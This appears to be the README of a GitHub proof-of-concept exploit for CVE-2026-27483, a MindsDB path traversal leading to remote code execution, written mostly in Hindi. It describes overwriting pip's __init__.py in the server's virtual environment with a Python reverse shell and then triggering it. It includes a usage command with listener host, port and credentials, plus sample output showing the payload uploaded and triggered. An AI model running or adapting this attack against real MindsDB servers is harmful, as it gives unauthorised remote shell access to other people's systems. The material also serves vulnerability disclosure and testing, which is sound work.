CVE-2026-27483

MindsDB पथ ट्रैवर्सल से RCE PoC

यह PoC स्क्रिप्ट निम्नलिखित GitHub सलाह पर आधारित है।

डिफ़ॉल्ट रूप से MindsDB प्रमाणीकरण का उपयोग नहीं करता
PoC बिना प्रमाणीकरण और प्रमाणीकरण सहित दोनों मोड का समर्थन करता है।
हम उपलब्ध हैंडलर खोजने के लिए /api/handlers/ को क्वेरी कर सकते हैं, किसी भी उपलब्ध लेकिन इंस्टॉल न किए गए हैंडलर नाम का उपयोग करें।
PoC /venv/lib/python3.10/site-packages/pip/__init__.py को ओवरराइट करता है।
एक पायथन रिवर्स शेल उपरोक्त पथ पर लिखा जाता है और फिर ट्रिगर किया जाता है।

python cve-2026-27483.py -lh 192.168.0.100 -lp 4444 -u admin -p password

-------------------------------------
--- CVE-2026-27483 ------------------
--- MindsDB Path Traversal to RCE ---
-------------------------------------

[>] Found By : XlabAITeam
[>] PoC By   : Lohitya Pushkar (thewhiteh4t)

[>] Target   : http://127.0.0.1:47334
[>] LHOST    : 192.168.0.100
[>] LPORT    : 4444

[*] Checking status...

[*] MindsDB Version : 25.9.1.0
[+] Login successful!
[*] Uploading payload : qwvhotfj
[+] Payload uploaded!
[*] Triggering payload...

cve-2026-27483

सबसे लोकप्रिय

निर्भरताएँ

उपयोग